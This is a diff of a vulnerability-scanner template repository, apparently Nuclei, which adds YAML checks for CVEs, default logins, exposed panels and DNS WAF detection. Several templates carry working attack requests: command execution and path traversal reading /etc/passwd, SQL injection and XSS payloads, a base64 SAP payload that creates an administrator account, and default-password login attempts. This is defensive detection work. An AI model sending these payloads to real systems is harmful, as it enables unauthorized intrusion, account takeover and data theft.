+      - https://github.com/Mr-xn/Penetration_Testing_POC/blob/02546075f378a9effeb6426fc17beb66b6d5c8ee/books/Nette%E6%A1%86%E6%9E%B6%E8%BF%9C%E7%A8%8B%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C(CVE-2020-15227).md
+  tags: cve,cve2020,nette,rce
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/nette.micro/?callback=shell_exec&cmd=cat%20/etc/passwd&what=-1"
+
+    matchers-condition: and
+    matchers:
+
+      - type: regex
+        regex:
+          - "root:[x*]:0:0:"
+
+      - type: status
+        status:
+          - 200

cves/2020/CVE-2020-19625.yaml

@@ -1,3 +1,4 @@
+id: CVE-2020-19625
 info:
   name: Gridx 1.3 RCE
   author: geeknik

cves/2020/CVE-2020-35736.yaml

@@ -0,0 +1,26 @@
+id: CVE-2020-35736
+
+info:
+  name: GateOne Arbitrary File Download
+  author: pikpikcu
+  severity: high
+  description: GateOne 1.1 allows arbitrary file download without authentication via /downloads/.. directory traversal because os.path.join is misused.
+  reference: |
+    - https://github.com/liftoff/GateOne/issues/747
+    - https://nvd.nist.gov/vuln/detail/CVE-2020-35736
+  tags: cve,cve2020,gateone,lfi
+
+requests:
+  - method: GET
+    path:
+      - '{{BaseURL}}/downloads/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc/passwd'
+
+    matchers-condition: and
+    matchers:
+      - type: regex
+        regex:
+          - "root:[x*]:0:0:"
+
+      - type: status
+        status:
+          - 200

cves/2020/CVE-2020-36112.yaml

@@ -3,7 +3,7 @@ id: CVE-2020-36112
 info:
   name: CSE Bookstore 1.0 SQL Injection
   author: geeknik
-  description: CSE Bookstore version 1.0 is vulnerable to time-based blind, boolean-based blind and OR error-based SQL injection in pubid parameter in bookPerPub.php. A successfull exploitation of this vulnerability  will lead to an attacker dumping the entire database.
+  description: CSE Bookstore version 1.0 is vulnerable to time-based blind, boolean-based blind and OR error-based SQL injection in pubid parameter in bookPerPub.php. A successful exploitation of this vulnerability will lead to an attacker dumping the entire database.
   reference: |
       - https://www.exploit-db.com/exploits/49314
       - https://www.tenable.com/cve/CVE-2020-36112

cves/2020/CVE-2020-36289.yaml

@@ -0,0 +1,31 @@
+id: CVE-2020-36289
+
+info:
+  name: Atlassian Jira Unauth User Enumeration
+  author: dhiyaneshDk
+  severity: medium
+  description: Affected versions of Atlassian Jira Server and Data Center allow an unauthenticated user to enumerate users via an Information Disclosure vulnerability in the QueryComponentRendererValue!Default.jspa endpoint. The affected versions are before version 8.5.13, from version 8.6.0 before 8.13.5, and from version 8.14.0 before 8.15.1.
+  tags: cve,cve2020,jira,atlassian
+  reference: |
+      - https://twitter.com/ptswarm/status/1402644004781633540
+      - https://nvd.nist.gov/vuln/detail/CVE-2020-36289
+
+requests:
+  - method: GET
+    path:
+      - '{{BaseURL}}/secure/QueryComponentRendererValue!Default.jspa?assignee=user:admin'
+
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+
+      - type: word
+        words:
+          - 'rel=\"admin\"'
+
+      - type: word
+        words:
+          - 'application/json'
+        part: header

cves/2020/CVE-2020-5284.yaml

@@ -2,7 +2,7 @@ id: CVE-2020-5284
 
 info:
   name: Next.js .next/ limited path traversal
-  author: Harsh & Rahul & dwisiswant0
+  author: rootxharsh,iamnoooob,dwisiswant0
   severity: medium
   description: Next.js versions before 9.3.2 have a directory traversal vulnerability. Attackers could craft special requests to access files in the dist directory (.next). This does not affect files outside of the dist directory (.next). In general, the dist directory only holds build assets unless your application intentionally stores other assets under this directory. This issue is fixed in version 9.3.2.
   tags: cve,cve2020,nextjs,lfi

cves/2020/CVE-2020-5405.yaml

@@ -2,7 +2,7 @@ id: CVE-2020-5405
 
 info:
   name: Spring Cloud Directory Traversal
-  author: Harsh Bothra
+  author: harshbothra_
   severity: high
   description: Spring Cloud Config, versions 2.2.x prior to 2.2.2, versions 2.1.x prior to 2.1.7, and older unsupported versions allow applications to serve arbitrary configuration files through the spring-cloud-config-server module. A malicious user, or attacker, can send a request using a specially crafted URL that can lead a directory traversal attack.
   reference: https://pivotal.io/security/cve-2020-5405

cves/2020/CVE-2020-5902.yaml

@@ -2,7 +2,7 @@ id: CVE-2020-5902
 
 info:
   name: F5 BIG-IP TMUI RCE
-  author: madrobot & dwisiswant0 & ringo
+  author: madrobot,dwisiswant0,ringo
   severity: high
   description: In BIG-IP versions 15.0.0-15.1.0.3, 14.1.0-14.1.2.5, 13.1.0-13.1.3.3, 12.1.0-12.1.5.1, and 11.6.1-11.6.5.1, the Traffic Management User Interface (TMUI), also referred to as the Configuration utility, has a Remote Code Execution (RCE) vulnerability in undisclosed pages.
   reference: |

cves/2020/CVE-2020-6287.yaml

@@ -1,7 +1,7 @@
 id: CVE-2020-6287
 
 info:
-  name: Create an Administrative User in SAP NetWeaver AS JAVA (LM Configuration Wizard)
+  name: SAP NetWeaver - Remote Admin addition
   author: dwisiswant0
   severity: critical
   tags: cve,cve2020,sap
@@ -11,24 +11,32 @@ info:
     - https://launchpad.support.sap.com/#/notes/2934135
     - https://wiki.scn.sap.com/wiki/pages/viewpage.action?pageId=552599675
     - https://www.onapsis.com/recon-sap-cyber-security-vulnerability
+    - https://github.com/chipik/SAP_RECON
 
 requests:
-  - payloads:
-      data: helpers/payloads/CVE-2020-6287.xml
-    raw:
+  - raw:
       - |
         POST /CTCWebService/CTCWebServiceBean/ConfigServlet HTTP/1.1
         Host: {{Hostname}}
         Content-Type: text/xml; charset=UTF-8
         Connection: close
 
-        <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:urn="urn:CTCWebServiceSi"><soapenv:Header/><soapenv:Body><urn:executeSynchronious><identifier><component>sap.com/tc~lm~config~content</component><path>content/Netweaver/ASJava/NWA/SPC/SPC_UserManagement.cproc</path></identifier><contextMessages><baData>{{base64('§data§')}}</baData><name>userDetails</name></contextMessages></urn:executeSynchronious></soapenv:Body></soapenv:Envelope>
+        <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:urn="urn:CTCWebServiceSi"><soapenv:Header/><soapenv:Body><urn:executeSynchronious><identifier><component>sap.com/tc~lm~config~content</component><path>content/Netweaver/ASJava/NWA/SPC/SPC_UserManagement.cproc</path></identifier><contextMessages><baData>
+          CiAgICAgICAgICAgIDxQQ0s+CiAgICAgICAgICAgIDxVc2VybWFuYWdlbWVudD4KICAgICAgICAgICAgICA8U0FQX1hJX1BDS19DT05GSUc+CiAgICAgICAgICAgICAgICA8cm9sZU5hbWU+QWRtaW5pc3RyYXRvcjwvcm9sZU5hbWU+CiAgICAgICAgICAgICAgPC9TQVBfWElfUENLX0NPTkZJRz4KICAgICAgICAgICAgICA8U0FQX1hJX1BDS19DT01NVU5JQ0FUSU9OPgogICAgICAgICAgICAgICAgPHJvbGVOYW1lPlRoaXNJc1JuZDczODA8L3JvbGVOYW1lPgogICAgICAgICAgICAgIDwvU0FQX1hJX1BDS19DT01NVU5JQ0FUSU9OPgogICAgICAgICAgICAgIDxTQVBfWElfUENLX01PTklUT1I+CiAgICAgICAgICAgICAgICA8cm9sZU5hbWU+VGhpc0lzUm5kNzM4MDwvcm9sZU5hbWU+CiAgICAgICAgICAgICAgPC9TQVBfWElfUENLX01PTklUT1I+CiAgICAgICAgICAgICAgPFNBUF9YSV9QQ0tfQURNSU4+CiAgICAgICAgICAgICAgICA8cm9sZU5hbWU+VGhpc0lzUm5kNzM4MDwvcm9sZU5hbWU+CiAgICAgICAgICAgICAgPC9TQVBfWElfUENLX0FETUlOPgogICAgICAgICAgICAgIDxQQ0tVc2VyPgogICAgICAgICAgICAgICAgPHVzZXJOYW1lIHNlY3VyZT0idHJ1ZSI+c2FwUnBvYzYzNTE8L3VzZXJOYW1lPgogICAgICAgICAgICAgICAgPHBhc3N3b3JkIHNlY3VyZT0idHJ1ZSI+U2VjdXJlIVB3RDg4OTA8L3Bhc3N3b3JkPgogICAgICAgICAgICAgIDwvUENLVXNlcj4KICAgICAgICAgICAgICA8UENLUmVjZWl2ZXI+CiAgICAgICAgICAgICAgICA8dXNlck5hbWU+VGhpc0lzUm5kNzM4MDwvdXNlck5hbWU+CiAgICAgICAgICAgICAgICA8cGFzc3dvcmQgc2VjdXJlPSJ0cnVlIj5UaGlzSXNSbmQ3MzgwPC9wYXNzd29yZD4KICAgICAgICAgICAgICA8L1BDS1JlY2VpdmVyPgogICAgICAgICAgICAgIDxQQ0tNb25pdG9yPgogICAgICAgICAgICAgICAgPHVzZXJOYW1lPlRoaXNJc1JuZDczODA8L3VzZXJOYW1lPgogICAgICAgICAgICAgICAgPHBhc3N3b3JkIHNlY3VyZT0idHJ1ZSI+VGhpc0lzUm5kNzM4MDwvcGFzc3dvcmQ+CiAgICAgICAgICAgICAgPC9QQ0tNb25pdG9yPgogICAgICAgICAgICAgIDxQQ0tBZG1pbj4KICAgICAgICAgICAgICAgIDx1c2VyTmFtZT5UaGlzSXNSbmQ3MzgwPC91c2VyTmFtZT4KICAgICAgICAgICAgICAgIDxwYXNzd29yZCBzZWN1cmU9InRydWUiPlRoaXNJc1JuZDczODA8L3Bhc3N3b3JkPgogICAgICAgICAgICAgIDwvUENLQWRtaW4+CiAgICAgICAgICAgIDwvVXNlcm1hbmFnZW1lbnQ+CiAgICAgICAgICA8L1BDSz4KICAgIA==
+        </baData><name>userDetails</name></contextMessages></urn:executeSynchronious></soapenv:Body></soapenv:Envelope>
+
+      # userName - sapRpoc6351
+      # password - Secure!PwD8890
+
     matchers-condition: and
     matchers:
       - type: word
         words:
-          - "urn:CTCWebServiceSi"
+          - "CTCWebServiceSi"
+          - "SOAP-ENV"
         part: body
+        condition: and
+
       - type: status
         status:
           - 200
@@ -36,4 +44,5 @@ requests:
       - type: word
         words:
           - "text/xml"
-        part: header
+          - "SAP NetWeaver Application Server"
+        part: header

cves/2020/CVE-2020-6308.yaml

@@ -0,0 +1,21 @@
+id: CVE-2020-6308
+
+info:
+  name: Unauthenticated Blind SSRF in SAP
+  author: madrobot
+  severity: medium
+  reference: https://github.com/InitRoot/CVE-2020-6308-PoC
+  tags: cve,cve2020,sap,ssrf,oob
+
+requests:
+  - method: POST
+    path:
+      - '{{BaseURL}}/AdminTools/querybuilder/logon?framework='
+
+    body: aps={{interactsh-url}}&usr=admin&pwd=admin&aut=secEnterprise&main_page=ie.jsp&new_pass_page=newpwdform.jsp&exit_page=logonform.jsp
+
+    matchers:
+      - type: word
+        part: interactsh_protocol # Confirms the DNS Interaction
+        words:
+          - "dns"

cves/2020/CVE-2020-8115.yaml

@@ -2,7 +2,7 @@ id: CVE-2020-8115
 
 info:
   name: Revive Adserver XSS
-  author: madrobot & dwisiswant0
+  author: madrobot,dwisiswant0
   severity: medium
   description: |
     A reflected XSS vulnerability has been discovered in the publicly accessible afr.php delivery script of Revive Adserver <= 5.0.3 by Jacopo Tediosi. There are currently no known exploits: the session identifier cannot be accessed as it is stored in an http-only cookie as of v3.2.2. On older versions, however, under specific circumstances, it could be possible to steal the session identifier and gain access to the admin interface. The query string sent to the www/delivery/afr.php script was printed back without proper escaping in a JavaScript context, allowing an attacker to execute arbitrary JS code on the browser of the victim.

cves/2020/CVE-2020-8512.yaml

@@ -2,7 +2,7 @@ id: CVE-2020-8512
 
 info:
   name: IceWarp WebMail XSS
-  author: pdnuclei & dwisiswant0
+  author: pdteam,dwisiswant0
   severity: medium
   description: In IceWarp Webmail Server through 11.4.4.1, there is XSS in the /webmail/ color parameter.
   reference: |

cves/2021/CVE-2021-21985.yaml

@@ -0,0 +1,31 @@
+id: CVE-2021-21985
+
+info:
+  name: VMware vSphere Client (HTML5) RCE
+  author: D0rkerDevil
+  severity: critical
+  description: |
+    The vSphere Client (HTML5) contains a remote code execution vulnerability due to lack of input validation in the Virtual SAN Health Check plug-in which is enabled by default in vCenter Server. A malicious actor with network access to port 443 may exploit this issue to execute commands with unrestricted privileges on the underlying operating system that hosts vCenter Server.
+  reference: |
+    - https://nvd.nist.gov/vuln/detail/CVE-2021-21985
+    - https://www.vmware.com/security/advisories/VMSA-2021-0010.html
+    - https://github.com/alt3kx/CVE-2021-21985_PoC
+  tags: cve,cve2021,rce,vsphere
+
+requests:
+  - raw:
+      - |
+        POST /ui/h5-vsan/rest/proxy/service/com.vmware.vsan.client.services.capability.VsanCapabilityProvider/getClusterCapabilityData HTTP/1.1
+        Host: {{Hostname}}
+        Accept: */*
+        Content-Type: application/json
+        Content-Length: 86
+        Connection: close
+
+        {"methodInput":[{"type":"ClusterComputeResource","value": null,"serverGuid": null}]}
+
+    matchers:
+      - type: word
+        words:
+          - '{"result":{"isDisconnected":'
+        part: body

cves/2021/CVE-2021-22122.yaml

@@ -23,6 +23,7 @@ requests:
   - method: GET
     path:
       - "{{BaseURL}}/error3?msg=30&data=';alert('nuclei');//"
+      - "{{BaseURL}}/omni_success?cmdb_edit_path=\");alert('nuclei');//"
     matchers-condition: and
     matchers:
       - type: word
@@ -30,4 +31,4 @@ requests:
           - "nuclei"
           - "No policy has been chosen."
         condition: and
-        part: body
+        part: body

cves/2021/CVE-2021-22986.yaml

@@ -1,7 +1,7 @@
 id: CVE-2021-22986
 info:
   name: F5 BIG-IP iControl REST unauthenticated RCE
-  author: Harsh Jaiswal (@rootxharsh) & Rahul Maini (@iamnoooob)
+  author: rootxharsh,iamnoooob
   severity: critical
   tags: bigip,cve,cve2021,rce
   description: The iControl REST interface has an unauthenticated remote command execution vulnerability.

cves/2021/CVE-2021-24285.yaml

@@ -0,0 +1,33 @@
+id: CVE-2021-24285
+
+info:
+  name: Car Seller - Auto Classifieds Script WordPress plugin SQLI
+  author: ShreyaPohekar
+  severity: critical
+  description: The request_list_request AJAX call of the Car Seller - Auto Classifieds Script WordPress plugin through 2.1.0, available to both authenticated and unauthenticated users, does not sanitise, validate or escape the order_id POST parameter before using it in a SQL statement, leading to a SQL Injection issue.
+  tags: cve,cve2021,wordpress,wp-plugin,sqli
+  reference: |
+      - https://nvd.nist.gov/vuln/detail/CVE-2021-24285
+      - https://codevigilant.com/disclosure/2021/wp-plugin-cars-seller-auto-classifieds-script-sql-injection/
+      - https://wpscan.com/vulnerability/f35d6ab7-dd52-48b3-a79c-3f89edf24162
+
+requests:
+  - raw:
+      - |
+        POST /wp-admin/admin-ajax.php HTTP/1.1
+        Host: {{Hostname}}
+        Content-Type: application/x-www-form-urlencoded; charset=UTF-8
+        Content-Length: 47
+
+        action=request_list_request&order_id=1 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x717a767671,0x685741416c436654694d446d416f717a6b54704a457a5077564653614970664166646654696e724d,0x7171786b71),NULL-- -
+
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+
+      - type: word
+        words:
+          - "qzvvqhWAAlCfTiMDmAoqzkTpJEzPwVFSaIpfAfdfTinrMqqxkq"
+        part: body

cves/2021/CVE-2021-24316.yaml

@@ -0,0 +1,34 @@
+id: CVE-2021-24316
+
+info:
+  author: 0x_Akoko
+  description: Mediumish WordPress Theme <= 1.0.47 - Unauthenticated Reflected XSS & XFS.
+  name: An Unauthenticated Reflected XSS & XFS Mediumish theme through 1.0.47 for WordPress
+  severity: medium
+  tags: cve,cve2021,mediumish,xss,wordpress
+  reference: |
+      - https://wpscan.com/vulnerability/57e27de4-58f5-46aa-9b59-809705733b2e
+      - https://m0ze.ru/vulnerability/%5B2021-03-14%5D-%5BWordPress%5D-%5BCWE-79%5D-Mediumish-WordPress-Theme-v1.0.47.txt
+
+requests:
+  - method: GET
+    path:
+      - '{{BaseURL}}/?post_type=post&s=%22%3E%3Cscript%3Ealert(/{{randstr}}/)%3C/script%3E '
+
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+
+      - type: word
+        words:
+          - "<script>alert(/{{randstr}}/)</script>"
+          - "Sorry, no posts matched your criteria."
+        part: body
+        condition: and
+
+      - type: word
+        words:
+          - "text/html"
+        part: header

cves/2021/CVE-2021-27850.yaml

@@ -0,0 +1,57 @@
+id: CVE-2021-27850
+
+info:
+  name: Apache Tapestry - Arbitrary class download
+  description: |
+    A critical unauthenticated remote code execution vulnerability was found all recent versions of Apache Tapestry. The affected versions include 5.4.5, 5.5.0, 5.6.2 and 5.7.0. The vulnerability I have found is a bypass of the fix for CVE-2019-0195. Recap: Before the fix of CVE-2019-0195 it was possible to download arbitrary class files from the classpath by providing a crafted asset file URL.
+  author: pdteam
+  severity: critical
+  reference: |
+      - https://nvd.nist.gov/vuln/detail/CVE-2021-27850
+  tags: cve,cve2021,apache,tapestry
+
+requests:
+  - raw:
+      - |
+        GET /assets/app/something/services/AppModule.class/ HTTP/1.1
+        Host: {{Hostname}}
+        Origin: {{BaseURL}}
+        Connection: close
+        User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_4) AppleWebKit/537.36 (KHTML, like Gecko)
+        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
+        Accept-Language: en-US,en;q=0.9
+      - |
+        GET /assets/app/{{id}}/services/AppModule.class/ HTTP/1.1
+        Host: {{Hostname}}
+        Origin: {{BaseURL}}
+        Connection: close
+        User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_4) AppleWebKit/537.36 (KHTML, like Gecko)
+        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
+        Accept-Language: en-US,en;q=0.9
+
+    extractors:
+      - type: regex
+        regex:
+          - '\/assets\/app\/([a-z0-9]+)\/services\/AppMod'
+        internal: true
+        name: id
+        part: header
+        group: 1
+
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+
+      - type: word
+        words:
+          - 'application/java'
+        part: header
+
+      - type: word
+        words:
+          - 'configuration'
+          - 'webtools'
+        part: body
+        condition: and

cves/2021/CVE-2021-33564.yaml

@@ -0,0 +1,23 @@
+id: CVE-2021-33564
+
+info:
+  name: Argument Injection in Ruby Dragonfly
+  author: 0xsapra
+  severity: critical
+  reference: https://zxsecurity.co.nz/research/argunment-injection-ruby-dragonfly/
+  tags: cve,cve2021,rce,ruby
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/system/images/W1siZyIsICJjb252ZXJ0IiwgIi1zaXplIDF4MSAtZGVwdGggOCBncmF5Oi9ldGMvcGFzc3dkIiwgIm91dCJdXQ=="
+      - "{{BaseURL}}/system/refinery/images/W1siZyIsICJjb252ZXJ0IiwgIi1zaXplIDF4MSAtZGVwdGggOCBncmF5Oi9ldGMvcGFzc3dkIiwgIm91dCJdXQ=="
+
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+      - type: regex
+        regex:
+          - "root:[x*]:0:0:"

default-logins/apache/airflow-default-credentials.yaml

@@ -0,0 +1,61 @@
+id: airflow-default-credentials
+
+info:
+  name: Apache Airflow Default Credentials
+  author: pdteam
+  severity: critical
+  tags: airflow,default-login
+  reference: https://airflow.apache.org/docs/apache-airflow/stable/start/docker.html
+
+requests:
+  - raw:
+      - |
+        GET /admin/airflow/login HTTP/1.1
+        Host: {{Hostname}}
+        Origin: {{BaseURL}}
+        Connection: close
+        User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_4) AppleWebKit/537.36 (KHTML, like Gecko)
+        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
+        Accept-Language: en-US,en;q=0.9
+
+      - |
+        POST /admin/airflow/login HTTP/1.1
+        Host: {{Hostname}}
+        Content-Length: 152
+        Cache-Control: max-age=0
+        Origin: {{BaseURL}}
+        Content-Type: application/x-www-form-urlencoded
+        Referer: {{BaseURL}}/admin/airflow/login
+        Accept-Encoding: gzip, deflate
+        Accept-Language: en-IN,en;q=0.9
+        Connection: close
+
+        username=airflow&password=airflow&_csrf_token={{csrf_token}}
+
+    extractors:
+      - type: regex
+        name: csrf_token
+        group: 1
+        part: body
+        internal: true
+        regex:
+          - 'csrf_token" type="hidden" value="([A-Za-z0-9.-]+)">'
+
+    cookie-reuse: true
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - "session=."
+          - "/admin/"
+        part: header
+        condition: and
+
+      - type: word
+        words:
+          - 'You should be redirected automatically to target URL: <a href="/admin/">/admin/</a>'
+        part: body
+
+      - type: status
+        status:
+          - 302

default-logins/arl/arl-default-password.yaml

@@ -0,0 +1,29 @@
+id: arl-default-password
+
+info:
+  name: ARL Default Password
+  author: pikpikcu
+  severity: high
+  tags: arl,default-login
+
+requests:
+  - method: POST
+    path:
+      - "{{BaseURL}}/api/user/login"
+    headers:
+      Content-Type: application/json; charset=UTF-8
+    body: |
+      {"username":"admin","password":"arlpass"}
+
+    matchers-condition: and
+    matchers:
+
+      - type: word
+        words:
+          - '"message": "success"'
+          - '"username": "admin"'
+          - '"type": "login"'
+        condition: and
+      - type: status
+        status:
+          - 200

default-logins/jenkins/jenkins-default.yaml

@@ -0,0 +1,50 @@
+id: jenkins-weak-password
+
+info:
+  name: Jenkins Weak Password
+  author: Zandros0
+  severity: high
+  tags: jenkins,default-login
+
+requests:
+  - raw:
+      - |
+        GET /login HTTP/1.1
+        Host: {{Hostname}}
+
+      - |
+        POST /j_spring_security_check HTTP/1.1
+        Host: {{Hostname}}
+        Content-Type: application/x-www-form-urlencoded
+        Cookie: {{cookie}}
+
+        j_username=admin&j_password=admin&from=%2F&Submit=Sign+in
+
+      - |
+        POST /j_spring_security_check HTTP/1.1
+        Host: {{Hostname}}
+        Content-Type: application/x-www-form-urlencoded
+        Cookie: {{cookie}}
+
+        j_username=jenkins&j_password=password&from=%2F&Submit=Sign+in
+
+      - |
+        GET / HTTP/1.1
+        Host: {{Hostname}}
+        Cookie: {{cookie}}
+
+    extractors:
+      - type: regex
+        name: cookie
+        internal: true
+        part: header
+        regex:
+          - 'JSESSIONID\..*=([a-z0-9.]+)'
+
+    req-condition: true
+    matchers:
+      - type: dsl
+        dsl:
+          - 'contains(body_4, "/logout")'
+          - 'contains(body_4, "Dashboard [Jenkins]")'
+        condition: and

default-logins/rabbitmq/rabbitmq-default-admin.yaml

@@ -2,7 +2,7 @@ id: rabbitmq-default-admin
 
 info:
   name: RabbitMQ Default Credentials
-  author: fyoorer & dwisiswant0
+  author: fyoorer,dwisiswant0
   severity: high
   tags: rabbitmq,default-login
 

default-logins/szhe/szhe-default-password.yaml

@@ -0,0 +1,33 @@
+id: szhe-default-password
+
+info:
+  name: Szhe Default Password
+  author: pikpikcu
+  severity: low
+  tags: szhe,default-login
+  vendor: https://github.com/Cl0udG0d/SZhe_Scan
+
+requests:
+  - method: POST
+    path:
+      - "{{BaseURL}}/login/"
+    headers:
+      Content-Type: application/x-www-form-urlencoded
+    body: |
+      [email protected]&password=springbird&remeber=true
+
+    matchers-condition: and
+    matchers:
+
+      - type: word
+        words:
+          - 'You should be redirected automatically to target URL: <a href="/">/</a>'
+
+      - type: word
+        words:
+          - 'Set-Cookie: session'
+        part: header
+
+      - type: status
+        status:
+          - 302

default-logins/xxljob/xxljob-default-login.yaml

@@ -22,11 +22,16 @@ requests:
       - type: word
         words:
           - '"code":200'
+          - '"msg"'
+          - '"content"'
+        condition: and
 
       - type: word
         words:
           - 'application/json'
+          - 'XXL_JOB_LOGIN_IDENTITY'
         part: header
+        condition: and
 
       - type: status
         status:

dns/dead-host-with-cname.yaml

@@ -2,7 +2,7 @@ id: dead-host-with-cname
 
 info:
   name: dead-host-with-cname
-  author: pdnuclei - projectdiscovery.io
+  author: pdteam
   severity: info
   tags: dns
 

dns/dns-waf-detect.yaml

@@ -0,0 +1,172 @@
+id: dns-waf-detect
+
+info:
+  name: DNS WAF Detection
+  author: lu4nx
+  severity: info
+  tags: tech,waf,dns
+
+dns:
+  - name: "{{FQDN}}"
+    type: CNAME
+    recursion: true
+    retries: 5
+    class: inet
+
+  - name: "{{FQDN}}"
+    type: NS
+    recursion: true
+    retries: 5
+    class: inet
+
+    matchers:
+      - type: word
+        name: sanfor-shield
+        words:
+          - ".sangfordns.com"
+
+      - type: word
+        name: 360panyun
+        words:
+          - ".360panyun.com"
+
+      - type: word
+        name: baiduyun
+        words:
+          - ".yunjiasu-cdn.net"
+
+      - type: word
+        name: chuangyudun
+        words:
+          - ".365cyd.cn"
+          - ".cyudun.net"
+
+      - type: word
+        name: knownsec
+        words:
+          - ".jiashule.com"
+          - ".jiasule.org"
+
+      - type: word
+        name: huaweicloud
+        words:
+          - ".huaweicloudwaf.com"
+
+      - type: word
+        name: xinliuyun
+        words:
+          - ".ngaagslb.cn"
+
+      - type: word
+        name: chinacache
+        words:
+          - ".chinacache.net"
+          - ".ccgslb.net"
+
+      - type: word
+        name: nscloudwaf
+        words:
+          - ".nscloudwaf.com"
+
+      - type: word
+        name: wangsu
+        words:
+          - ".wsssec.com"
+          - ".lxdns.com"
+          - ".wscdns.com"
+          - ".cdn20.com"
+          - ".cdn30.com"
+          - ".ourplat.net"
+          - ".wsdvs.com"
+          - ".wsglb0.com"
+          - ".wswebcdn.com"
+          - ".wswebpic.com"
+          - ".wsssec.com"
+          - ".wscloudcdn.com"
+          - ".mwcloudcdn.com"
+
+      - type: word
+        name: qianxin
+        words:
+          - ".360safedns.com"
+          - ".360cloudwaf.com"
+
+      - type: word
+        name: baiduyunjiasu
+        words:
+          - ".yunjiasu-cdn.net"
+
+      - type: word
+        name: anquanbao
+        words:
+          - ".anquanbao.net"
+
+      - type: regex
+        name: aliyun
+        regex:
+          - '\.w\.kunlun\w{2,3}\.com'
+
+      - type: regex
+        name: aliyun-waf
+        regex:
+          - '\.aliyunddos\d+\.com'
+          - '\.aliyunwaf\.com'
+          - '\.aligaofang\.com'
+          - '\.aliyundunwaf\.com'
+
+      - type: word
+        name: xuanwudun
+        words:
+          - ".saaswaf.com"
+          - ".dbappwaf.cn"
+
+      - type: word
+        name: yundun
+        words:
+          - ".hwwsdns.cn"
+          - ".yunduncname.com"
+
+      - type: word
+        name: knownsec-ns
+        words:
+          - ".jiasule.net"
+
+      - type: word
+        name: chuangyudun
+        words:
+          - ".365cyd.net"
+
+      - type: word
+        name: qianxin
+        words:
+          - ".360wzb.com"
+
+      - type: word
+        name: anquanbao
+        words:
+          - ".anquanbao.com"
+
+      - type: word
+        name: wangsu
+        words:
+          - ".chinanetcenter.com"
+
+      - type: word
+        name: baiduyunjiasue
+        words:
+          - ".ns.yunjiasu.com"
+
+      - type: word
+        name: chinacache
+        words:
+          - ".chinacache.com"
+
+      - type: word
+        name: cloudflare
+        words:
+          - "ns.cloudflare.com"
+
+      - type: word
+        name: edns
+        words:
+          - ".iidns.com"

exposed-panels/adminer-panel.yaml

@@ -1,7 +1,7 @@
 id: adminer-panel
 info:
   name: Adminer Login panel
-  author: random-robbie & meme-lord
+  author: random_robbie,meme-lord
   severity: info
   reference: https://blog.sorcery.ie/posts/adminer/
   tags: panel

exposed-panels/airflow-exposure.yaml

@@ -1,19 +0,0 @@
-id: airflow-exposure
-
-info:
-  name: Apache Airflow Exposure / Unauthenticated Access
-  author: pdteam
-  severity: medium
-  tags: panel
-
-requests:
-  - method: GET
-    path:
-      - '{{BaseURL}}'
-      - '{{BaseURL}}/admin/'
-    matchers:
-      - type: word
-        words:
-          - '<title>Airflow - DAGs</title>'
-          - '<a href="https://github.com/apache/airflow">'
-        condition: and

exposed-panels/airflow-panel.yaml

@@ -0,0 +1,24 @@
+id: airflow-panel
+
+info:
+  name: Airflow Admin login
+  author: pdteam
+  severity: info
+  tags: panel,apache,airflow
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/admin/airflow/login"
+
+    matchers-condition: and
+    matchers:
+
+      - type: word
+        part: body
+        words:
+          - "Airflow - Login"
+
+      - type: status
+        status:
+          - 200

exposed-panels/circarlife-setup.yaml

@@ -6,7 +6,7 @@ info:
   description: CirCarLife is an internet-connected electric vehicle charging station
   reference: https://circontrol.com/
   severity: critical
-  tags: scada,circontrorl,circarlife,setup,exposure
+  tags: scada,circontrorl,circarlife,setup,exposure,panel
 
 requests:
   - method: GET

exposed-panels/clave-login-panel.yaml

@@ -0,0 +1,23 @@
+id: clave-login-panel
+
+info:
+  name: Clave login panel
+  author: __Fazal
+  severity: info
+  tags: panel,clave
+
+requests:
+  - method: GET
+    path:
+      - '{{BaseURL}}/admin.php'
+
+    redirects: true
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+
+      - type: word
+        words:
+          - "Clave"

exposed-panels/cx-cloud-login.yaml

@@ -0,0 +1,18 @@
+id: cx-cloud-login
+
+info:
+  name: CX Cloud
+  author: dhiyaneshDk
+  severity: info
+  tags: panel
+
+requests:
+  - method: GET
+    path:
+      - '{{BaseURL}}'
+      - '{{BaseURL}}/cxcum/'
+
+    matchers:
+      - type: word
+        words:
+          - "<title>CX Cloud</title>"

exposed-panels/dotcms-admin-panel.yaml

@@ -0,0 +1,18 @@
+id: dotcms-admin-panel
+
+info:
+  name: dotAdmin Panel
+  author: impramodsargar
+  severity: info
+  tags: panel
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/dotAdmin/"
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - '<title>dotCMS Content Management Platform</title>'

exposed-panels/ems-login-panel.yaml

@@ -0,0 +1,22 @@
+id: ems-login-panel
+
+info:
+  name: EMS Login page detection
+  author: __Fazal
+  severity: info
+  tags: panel,ems
+
+requests:
+  - method: GET
+    path:
+      - '{{BaseURL}}/EMSWebClient/Login.aspx'
+
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+
+      - type: word
+        words:
+          - "EMS Web Client - Login"

